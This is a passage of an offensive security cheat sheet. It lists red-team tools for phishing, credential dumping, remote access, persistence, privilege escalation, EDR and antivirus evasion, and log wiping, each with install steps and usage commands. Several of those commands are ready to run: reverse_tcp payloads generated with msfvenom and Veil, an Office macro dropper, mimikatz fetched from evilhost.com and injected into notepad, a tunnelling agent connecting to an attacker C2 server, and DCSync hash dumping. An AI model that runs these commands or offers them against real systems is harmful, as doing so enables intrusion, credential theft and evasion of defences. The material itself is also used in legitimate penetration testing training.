 - feed bool                       - true or false if you plan to use the live feed
 - rid replacement                 - replace the gophish default "rid" in phishing URLs with this value
 - blacklist bool                  - true or false to use Apache blacklist
Example:
  ./setup.sh example.com "accounts myaccount" false https://redirect.com/ true user_id false

🔙Social Engineer Toolkit (SET)

This framework is great for creating campaigns for initial access, 'SET has a number of custom attack vectors that allow you to make a believable attack quickly'.

Install:

git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install

Usage:

python3 setoolkit

🔙Hydra

Nice tool for logon brute force attacks. Can bf a number of services including SSH, FTP, TELNET, HTTP etc.

Install:

sudo apt install hydra

Usage:

hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error"
hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh

🔙SquarePhish

SquarePhish is an advanced phishing tool that uses a technique combining OAuth Device code authentication flow and QR codes (See PhishInSuits for more about OAuth Device Code flow for phishing attacks).

Attack Steps:

Send malicious QR code to victim
Victim scans QR code with mobile device
Victim directed to attacker controlled server (Triggering OAuth Device Code authentication flow process)
Victim emailed MFA code (Triggering OAuth Device Code flow 15 minute timer)
Attacker polls for authentication
Victim enters code into legit Microsoft website
Attacker saves authentication token

Install:

git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt

Note: Before using either module, update the required information in the settings.config file noted with Required.

Usage (Email Module):

usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]

optional arguments:
  -h, --help            show this help message and exit

  -c CONFIG, --config CONFIG
                        squarephish config file [Default: settings.config]

  --debug               enable server debugging

  -e EMAIL, --email EMAIL
                        victim email address to send initial QR code email to

Usage (Server Module):

usage: squish.py server [-h] [-c CONFIG] [--debug]

optional arguments:
  -h, --help            show this help message and exit

  -c CONFIG, --config CONFIG
                        squarephish config file [Default: settings.config]

  --debug               enable server debugging

🔙King Phisher

King Phisher is a tool that allows attackers to create and send phishing emails to victims to obtain sensitive information.

It includes features like customizable templates, campaign management, and email sending capabilities, making it a powerful and easy-to-use tool for carrying out phishing attacks. With King Phisher, atackers can target individuals or organizations with targeted and convincing phishing emails, increasing the chances of success in their attacks.

Install (Linux - Client & Server):

wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh && \
sudo bash ./install.sh

Usage:

Once King Phisher has been installed please follow the wiki page to setup SSH, Database config, SMTP server etc.

Execution

🔙Responder

Responder is a tool for poisoning the LLMNR and NBT-NS protocols on a network, to allow for credential capture and arbitrary code execution.

The LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) protocols are used by Windows systems to resolve hostnames to IP addresses on a local network. If a hostname cannot be resolved using these protocols, the system will broadcast a request for the hostname to the local network.

Responder listens for these broadcasts and responds with a fake IP address, tricking the requesting system into sending its credentials to the attacker.

Install:

git clone https://github.com/SpiderLabs/Responder#usage
cd Responder

Usage:

# Running the tool
./Responder.py [options]

# Typical usage
./Responder.py -I eth0 -wrf

Full usage information can be found here.

Image used from https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/

🔙secretsdump

A utility that is part of the Impacket library that can be used to extract password hashes and other secrets from a Windows system.

It does this by interacting with the Security Account Manager (SAM) database on the system and extracting the hashed passwords and other information, such as:

Password hashes for local accounts
Kerberos tickets and keys
LSA Secrets

Install:

python3 -m pip install impacket

Usage:

# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

# DCSync attack and dump the NTLM hashes of all domain users.
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]

Image used from https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy

🔙evil-winrm

Evil-WinRM is a tool that provides a command line interface for Windows Remote Management (WinRM: A service that allows administrators to remotely execute commands on a Windows machine).

Evil-WinRM allows an attacker to remotely connect to a Windows machine using WinRM and execute arbitrary commands.

Some features include:

Loading in memory Powershell scripts
Loading in memory dll files bypassing some AVs
Loading x64 payloads
Pass-the-hash support
Uploading and downloading local and remote files

Install: (Git)

sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm

Install: (Ruby gem)

gem install evil-winrm

Alternative installation instructions can be found here.

Usage:

# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

# Upload local files to victim
upload local_filename
upload local_filename destination_filename

# Download remote files to local machine
download remote_filename
download remote_filename destination_filename

# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe

# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll

Full usage documentation can be found here.

Image used from https://korbinian-spielvogel.de/posts/heist-writeup/

🔙Donut

A tool for in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It can be used to load and run custom payloads on target systems without the need to drop files to disk.

Install: (Windows)

git clone http://github.com/thewover/donut.git

To generate the loader template, dynamic library donut.dll, the static library donut.lib and the generator donut.exe. Start an x64 Microsoft Visual Studio Developer Command Prompt, change to the directory where you cloned the Donut repository and enter the following:

nmake -f Makefile.msvc

To do the same, except using MinGW-64 on Windows or Linux, change to the directory where you cloned the Donut repository and enter the following:

make -f Makefile.mingw

Install: (Linux)

pip3 install donut-shellcode

Usage:

# Creating shellcode from an XSL file that pops up a calculator.
shellcode = donut.create(file=r"C:\\Tools\\Source\\Repos\\donut\\calc.xsl")

# Creating shellcode from an unmanaged DLL. Invokes DLLMain.
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")

For full usage information, see the donut GitHub Page.

See a recent blog post from The Wover for more info.

🔙Macro_pack

A tool used to automatize the obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for red teaming.

Install: (Binary)

Get the latest binary from https://github.com/sevagas/macro_pack/releases/
Download binary on PC with genuine Microsoft Office installed.
Open console, CD to binary dir and call the binary

Install: (Git)

git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt

Usage:

# Help Page
python3 macro_pack.py  --help

# List all supported file formats
macro_pack.exe --listformats
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba

# Obfuscate Empire stager VBA file and generate a MS Word document:
macro_pack.exe -f empire.vba -o -G myDoc.docm

# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -G "drop.xlsm" 

# Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx

🔙PowerSploit

A collection of PowerShell scripts and modules that can be used to achieve a variety of red teaming objectives.

Some of the features of PowerSploit:

Dump password hashes and extract clear-text passwords from memory
Escalate privileges and bypass security controls
Execute arbitrary PowerShell code and bypass execution restrictions
Perform network reconnaissance and discovery
Generate payloads and execute exploits

Install: 1. Save to PowerShell modules folder

First you will need to download the PowerSploit Folder and save it to your PowerShell modules folder.

Your PowerShell modules folder path can be found with the following command:

$Env:PSModulePath

Install: 2. Install PowerSploit as a PowerShell module

You will then need to install the PowerSploit module (use the name of the downloaded folder).

Note: Your PowerShell execution policy might block you, to fix this run the following command.

powershell.exe -ep bypass

Now you can install the PowerSploit module.

Import-Module PowerSploit

Usage:

Get-Command -Module PowerSploit

🔙Rubeus

A tool that can be used to perform various actions related to Microsoft Active Directory (AD) environments, such as dumping password hashes, creating/deleting users, and modifying user properties.

Some of the features of Rubeus:

Kerberoasting
Golden ticket attacks
Silver ticket attacks

Install: (Download)

You can install the unofficial pre-compiled Rubeus binary here.

Install: (Compile)

Rubeus is compatible with Visual Studio 2019 Community Edition. Open the rubeus project .sln, choose "Release", and build.

Usage:

Rubeus.exe -h

🔙SharpUp

A nice tool for checking a victims endpoint for vulnerabilites relating to high integrity processes, groups, hijackable paths, etc.

Install: (Download)

You can install the unofficial pre-compiled SharpUp binary here.

Install: (Compile)

SharpUp is compatible with Visual Studio 2015 Community Edition. Open the SharpUp project .sln, choose "Release", and build.

Usage:

SharpUp.exe audit
#-> Runs all vulnerability checks regardless of integrity level or group membership.

SharpUp.exe HijackablePaths
#-> Check only if there are modifiable paths in the user's %PATH% variable.

SharpUp.exe audit HijackablePaths
#-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.

🔙SQLRecon

MS-SQL (Microsoft SQL Server) is a relational database management system developed and marketed by Microsoft.

This C# MS-SQL toolkit is designed for offensive reconnaissance and post-exploitation. For detailed usage information on each technique, refer to the wiki.

Install: (Binary)

You can download the latest binary release from here.

Usage:

# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami

# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami

# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases

# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019

Full usage information can be found on the wiki.

Tool module usage information can be found here.

Image used from SQLRecon help page

🔙UltimateAppLockerByPassList

This resrouce is a collection of the most common and known techniques to bypass AppLocker.

Since AppLocker can be configured in different ways @api0cradle maintains a verified list of bypasses (that works against the default AppLocker rules) and a list with possible bypass technique (depending on configuration) or claimed to be a bypass by someone.

They also have a list of generic bypass techniques as well as a legacy list of methods to execute through DLLs.

Indexed Lists

Image used from https://github.com/api0cradle/UltimateAppLockerByPassList

🔙StarFighters

A JavaScript and VBScript Based Empire Launcher, which runs within their own embedded PowerShell Host.

Both Launchers run within their own embedded PowerShell Host, so we don't need PowerShell.exe.

This might be usefull when a company is blocking PowerShell.exe and/or is using a Application Whitelisting solution, but does not block running JS/VBS files.

Usage:

Setup a new Listener within PowerShell Empire
Use the Launcher command to Generate a PowerShell launcher for this listener
Copy and Replace the Base64 encoded Launcher Payload within the StarFighter JavaScript or VBScript file

For the JavaScript version use the following Variable:

  var EncodedPayload = "<Paste Encoded Launcher Payload Here>"

For the VBScript version use the following Variable:

  Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"

Then run: wscript.exe StarFighter.js or StarFighter.vbs on Target, or DoubleClick the launchers within Explorer.

Image used from https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html

🔙demiguise

The aim of this project is to generate .html files that contain an encrypted HTA file.

The idea is that when your target visits the page, the key is fetched and the HTA is decrypted dynamically within the browser and pushed directly to the user.

This is an evasion technique to get round content / file-type inspection implemented by some security-appliances.

Further technical information here.

Install:

git clone https://github.com/nccgroup/demiguise
cd demiguise

Usage:

# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta

Image used from https://github.com/nccgroup/demiguise

🔙PowerZure

PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.

There is zero reason to ever run PowerZure on a victim’s machine. Authentication is done by using an existing accesstoken.json file or by logging in via prompt when logging into Azure, meaning you can safely use PowerZure to interact with a victim’s cloud instance from your operating machine.

Install:

Install-Module -Name Az
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo C:\path\to\PowerZure.psd1

Usage:

# Get a list of AzureAD and Azure objects you have access to
Get-AzureTarget

Blog - Attacking Azure, Azure AD, and Introducing PowerZure

Image used from https://hakin9.org

Persistence

🔙Impacket

Impacket provides a set of low-level Python bindings for various network protocols, including SMB, Kerberos, and LDAP, as well as higher-level libraries for interacting with network services and performing specific tasks such as dumping password hashes and creating network shares.

It also includes a number of command-line tools that can be used to perform various tasks such as dumping SAM databases, enumerating domain trusts, and cracking Windows passwords.

Install:

python3 -m pip install impacket

Install: (With Example Scripts)

Download and extract the package, then navigate to the install folder and run...

python3 -m pip install .

Usage:

# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

# Gets a list of the sessions opened at the remote hosts
netview.py domain/user:password -target 192.168.10.2

# Retrieves the MSSQL instances names from the target host.
mssqlinstance.py 192.168.1.2

# This script will gather data about the domain's users and their corresponding email addresses.
GetADUsers.py domain/user:password@IP

Great cheat sheet for Impacket usage.

🔙Empire

Empire is a post-exploitation framework that allows you to generate payloads for establishing remote connections with victim systems.

Once a payload has been executed on a victim system, it establishes a connection back to the Empire server, which can then be used to issue commands and control the target system.

Empire also includes a number of built-in modules and scripts that can be used to perform specific tasks, such as dumping password hashes, accessing the Windows registry, and exfiltrating data.

Install:

git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh

Usage:

# Start Empire
./empire

# List live agents
list agents

# List live listeners
list listeners

Nice usage cheat sheet by HarmJoy.

🔙SharPersist

A Windows persistence toolkit written in C#.

The project has a wiki.

Install: (Binary)

You can find the most recent release here.

Install: (Compile)

Download the project files from the GitHub Repo.
Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
Go to "NuGet Package Manager" --> "Package Sources"
Add a package source with the URL "https://api.nuget.org/v3/index.json"
Install the Costura.Fody NuGet package. The older version of Costura.Fody (3.3.3) is needed, so that you do not need Visual Studio 2019.
- Install-Package Costura.Fody -Version 3.3.3
Install the TaskScheduler package
- Install-Package TaskScheduler -Version 2.8.11
You can now build the project yourself!

Usage:

A full list of usage examples can be found here.

#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add 

#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

🔙ligolo-ng

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

Install: (Download)

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Install: (Build)

Building ligolo-ng (Go >= 1.17 is required):

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go

# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup: (Linux)

sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up

Setup: (Windows)

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Setup: (Proxy server)

./proxy -h # Help options
./proxy -autocert # Automatically request LetsEncrypt certificates

Usage:

Start the agent on your target (victim) computer (no privileges are required!):

./agent -connect attacker_c2_server.com:11601

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Full usage information can be found here.

Image used from https://github.com/nicocha30/ligolo-ng#demo

Privilege Escalation

🔙LinPEAS

LinPEAS is a nice verbose privilege escalation for finding local privesc routes on Linux endpoints.

Install + Usage:

curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh

🔙WinPEAS

WinPEAS is a nice verbose privilege escalation for finding local privesc routes on Windows endpoints.

Install + Usage:

$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")

🔙linux-smart-enumeration

Linux smart enumeration is another good, less verbose, linux privesc tool for Linux.

Install + Usage:

curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

🔙Certify

Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

Certify is designed to be used in conjunction with other red team tools and techniques, such as Mimikatz and PowerShell, to enable red teamers to perform various types of attacks, including man-in-the-middle attacks, impersonation attacks, and privilege escalation attacks.

Key features of Certify:

Certificate creation
Certificate signing
Certificate import
Certificate trust modification

Install: (Compile)

Certify is compatible with Visual Studio 2019 Community Edition. Open the Certify project .sln, choose "Release", and build.

Install: (Running Certify Through PowerShell)

If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt

Certify can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Certify assembly string):

$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

The Main() method and any arguments can then be invoked as follows:

[Certify.Program]::Main("find /vulnerable".Split())

Full compile instructions can be found here.

Usage:

# See if there are any vulnerable templates
Certify.exe find /vulnerable

# Request a new certificate for a template/CA, specifying a DA localadmin as the alternate principal
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin

Full example walkthrough can be found here.

🔙Get-GPPPassword

Get-GPPPassword is a PowerShell script part of the PowerSploit toolkit, it is designed to retrieve passwords for local accounts that are created and managed using Group Policy Preferences (GPP).

Get-GPPPassword works by searching the SYSVOL folder on the domain controller for any GPP files that contain password information. Once it finds these files, it decrypts the password information and displays it to the user.

Install:

Follow the PowerSploit installation instructions from this tool sheet.

powershell.exe -ep bypass
Import-Module PowerSploit

Usage:

# Get all passwords with additional information
Get-GPPPassword

# Get list of all passwords
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

🔙Sherlock

PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

Supports:

MS10-015 : User Mode to Ring (KiTrap0D)
MS10-092 : Task Scheduler
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
MS13-081 : TrackPopupMenuEx Win32k NULL Page
MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
MS15-051 : ClientCopyImage Win32k
MS15-078 : Font Driver Buffer Overflow
MS16-016 : 'mrxdav.sys' WebDAV
MS16-032 : Secondary Logon Handle
MS16-034 : Windows Kernel-Mode Drivers EoP
MS16-135 : Win32k Elevation of Privilege
CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc

Install: (PowerShell)

# Git install
git clone https://github.com/rasta-mouse/Sherlock

# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1

Usage: (PowerShell)

# Run all functions
Find-AllVulns

# Run specific function (MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference)
Find-MS14058

Image used from https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/

🔙Watson

Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.

Great for identifying missing patches and suggesting exploits that could be used to exploit known vulnerabilities in order to gain higher privileges on the system.

Install:

Using Visual Studio 2019 Community Edition. Open the Watson project .sln, choose "Release", and build.

Usage:

# Run all checks
Watson.exe

Image text used from https://github.com/rasta-mouse/Watson#usage

🔙ImpulsiveDLLHijack

A C# based tool that automates the process of discovering and exploiting DLL Hijacks in target binaries.

The discovered Hijacked paths can be weaponized, during an engagement, to evade EDR's.

Install:

Procmon.exe -> https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
Custom Confirmatory DLL's :
- These are DLL files which assist the tool to get the confirmation whether the DLL's are been successfully loaded from the identified hijack path
- Compiled from the MalDLL project provided above (or use the precompiled binaries if you trust me!)
- 32Bit dll name should be: maldll32.dll
- 64Bit dll name should be: maldll64.dll
- Install NuGet Package:** PeNet** -> https://www.nuget.org/packages/PeNet/ (Prereq while compiling the ImpulsiveDLLHijack project)

Note: i & ii prerequisites should be placed in the ImpulsiveDLLHijacks.exe's directory itself.

Build and Setup Information:
- ImpulsiveDLLHijack
  - Clone the repository in Visual Studio
  - Once project is loaded in Visual Studio go to "Project" --> "Manage NuGet packages" --> Browse for packages and install "PeNet" -> https://www.nuget.org/packages/PeNet/
  - Build the project!
  - The ImpulsiveDLLHijack.exe will be inside the bin directory.
- And for Confirmatory DLL's:
  - Clone the repository in Visual Studio
  - Build the project with x86 and x64
  - Rename x86 release as maldll32.dll and x64 release as maldll64.dll
- Setup: Copy the Confirmatory DLL's (maldll32 & maldll64) in the ImpulsiveDLLHijack.exe directory & then execute ImpulsiveDLLHijack.exe :))

Install instructions from https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites

Usage:

# Help
ImpulsiveDLLHijack.exe -h

# Look for vulnerabilities in an executable 
ImpulsiveDLLHijack.exe -path BINARY_PATH

Usage examples can be found here.

Image used from https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples

🔙ADFSDump

A C# tool to dump all sorts of goodies from AD FS.

Created by Doug Bienstock @doughsec while at Mandiant FireEye.

This tool is designed to be run in conjunction with ADFSpoof. ADFSdump will output all of the information needed in order to generate security tokens using ADFSpoof.

Requirements:

ADFSDump must be run under the user context of the AD FS service account. You can get this information by running a process listing on the AD FS server or from the output of the Get-ADFSProperties cmdlet. Only the AD FS service account has the permissions needed to access the configuration database. Not even a DA can access this.
ADFSDump assumes that the service is configured to use the Windows Internal Database (WID). Although it would be trivial to support an external SQL server, this feature does not exist right now.
ADFSDump must be run locally on an AD FS server, NOT an AD FS web application proxy. The WID can only be accessed locally via a named pipe.

Install: (Compile)

ADFSDump was built against .NET 4.5 with Visual Studio 2017 Community Edition. Simply open up the project .sln, choose "Release", and build.

Usage: (Flags)

# The Active Directory domain to target. Defaults to the current domain.
/domain:

# The Domain Controller to target. Defaults to the current DC.
/server:

# Switch. Toggle to disable outputting the DKM key.
/nokey

# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database

Blog - Exploring the Golden SAML Attack Against ADFS

Image used from https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs

🔙BeRoot

BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege.

The goal of BeRoot is to only output potential privilege escalation opportunities and not a endpoint configuration assessment.

This project works on Windows, Linux and Mac OS.

Install: (Linux)

git clone https://github.com/AlessandroZ/BeRoot
cd BeRoot/Linux/

Install: (Windows)

A pre-compiled version of BeRoot can be found here.

Usage:

# Run BeRoot
python beroot.py

# Run BeRoot with user password (If you know the password use it, you could get more results)
python beroot.py --password super_strong_password

Further information can be found here for:

Image used from https://github.com/AlessandroZ/BeRoot

Defense Evasion

🔙Invoke-Obfuscation

A PowerShell v2.0+ compatible PowerShell command and script obfuscator. If a victim endpoint is able to execute PowerShell then this tool is great for creating heavily obfuscated scripts.

Install:

git clone https://github.com/danielbohannon/Invoke-Obfuscation.git

Usage:

./Invoke-Obfuscation

🔙Veil

Veil is a tool for generating metasploit payloads that bypass common anti-virus solutions.

It can be used to generate obfuscated shellcode, see the official veil framework blog for more info.

Install: (Kali)

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

Install: (Git)

sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

Usage:

# List all payloads (–list-payloads) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-payloads

# List all encoders (–list-encoders) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-encoders

# Generate a reverse tcp payload which connects back to the ip 192.168.1.20 on port 1234
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

# List all payloads (–list-payloads) for the tool Evasion (-t Evasion)
./Veil.py -t Evasion --list-payloads

# Generate shellcode using Evasion, payload number 41, reverse_tcp to 192.168.1.4 on port 8676, output file chris
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

Veil creators wrote a nice blog post explaining further ordnance and evasion command line usage.

🔙SharpBlock

A method of bypassing EDR's active projection DLL's by preventing entry point execution.

Features:

Blocks EDR DLL entry point execution, which prevents EDR hooks from being placed.
Patchless AMSI bypass that is undetectable from scanners looking for Amsi.dll code patches at runtime.
Host process that is replaced with an implant PE that can be loaded from disk, HTTP or named pipe (Cobalt Strike).
Implanted process is hidden to help evade scanners looking for hollowed processes.
Command line args are spoofed and implanted after process creation using stealthy EDR detection method.
Patchless ETW bypass.
Blocks NtProtectVirtualMemory invocation when callee is within the range of a blocked DLL's address space.

Install:

Use Visual Studio 2019 Community Edition to compile the SharpBlock binary.

Open the SharpBlock project .sln, choose "Release", and build.

Usage:

# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee

# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi

Nice PenTestPartners blog post here.

Image used from https://youtu.be/0W9wkamknfM

🔙Alcatraz

Alcatraz is a GUI x64 binary obfuscator that is able to obfuscate various different pe files including:

.exe
.dll
.sys

Some supported obfuscation features include:

Obfuscation of immediate moves
Control flow flattening
ADD mutation
Entry-point obfuscation
Lea obfuscation

Install: (Requirements)

Install: https://vcpkg.io/en/getting-started.html

vcpkg.exe install asmjit:x64-windows
vcpkg.exe install zydis:x64-windows

Usage:

Using the GUI to obfuscate a binary:

Load a binary by clicking file in the top left corner.
Add functions by expanding the Functions tree. (You can search by putting in the name in the searchbar at the top)
Hit compile (Note: Obfuscating lots of functions might take some seconds)

Image used from https://github.com/weak1337/Alcatraz

🔙Mangle

Mangle is a tool that manipulates aspects of compiled executables (.exe or DLL).

Mangle can remove known Indicators of Compromise (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files.

In doing so, Mangle helps loaders evade on-disk and in-memory scanners.

Install:

The first step, as always, is to clone the repo. Before you compile Mangle, you'll need to install the dependencies. To install them, run the following commands:

go get github.com/Binject/debug/pe

Then build it

git clone https://github.com/optiv/Mangle
cd Mangle
go build Mangle.go

Usage:

  -C string
        Path to the file containing the certificate you want to clone
  -I string
        Path to the orginal file
  -M    Edit the PE file to strip out Go indicators
  -O string
        The new file name
  -S int
        How many MBs to increase the file by

Full usage information can be found here.

Image used from https://github.com/optiv/Mangle

🔙AMSI Fail

AMSI.fail is a great website that can be used to generate obfuscated PowerShell snippets that break or disable AMSI for the current process.

The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures.

Nice f-secure blog explaining AMSI here.

Image used from http://amsi.fail/

🔙ScareCrow

ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls).

Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory.

When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in C:\Windows\System32\. These DLLs are stored on disk “clean” of EDR hooks because they are used by the system to load an unaltered copy into a new process when it’s spawned. Since EDR’s only hook these processes in memory, they remain unaltered.

Nice blogs for learning about techniques utilized by ScareCrow:

Install:

ScareCrow requires golang 1.16.1 or later to compile loaders.

# Clone
git clone https://github.com/optiv/ScareCrow
cd ScareCrow

# Install dependencies
go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo

# Required
openssl
osslsigncode
mingw-w64

# Build
go build ScareCrow.go

Usage:

Usage of ./ScareCrow:
  -I string
        Path to the raw 64-bit shellcode.
  -Loader string
        Sets the type of process that will sideload the malicious payload:
        [*] binary - Generates a binary based payload. (This type does not benefit from any sideloading)
        [*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.
        [*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
        [*] excel - Loads into a hidden Excel process using a JScript loader.
        [*] msiexec - Loads into MSIexec process using a JScript loader.
        [*] wscript - Loads into WScript process using a JScript loader. (default "binary")
  -O string
        Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
  -configfile string
        The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
  -console
        Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
...

Full usage information can be found here.

Image used from https://github.com/optiv/ScareCrow

🔙moonwalk

moonwalk is a 400 KB single-binary executable that can clear your traces while penetration testing a Unix machine.

It saves the state of system logs pre-exploitation and reverts that state including the filesystem timestamps post-exploitation leaving zero traces of a ghost in the shell.

Install:

curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk

Usage:

# Start moonwalk straight after getting a shell on the victim Linux endpoint
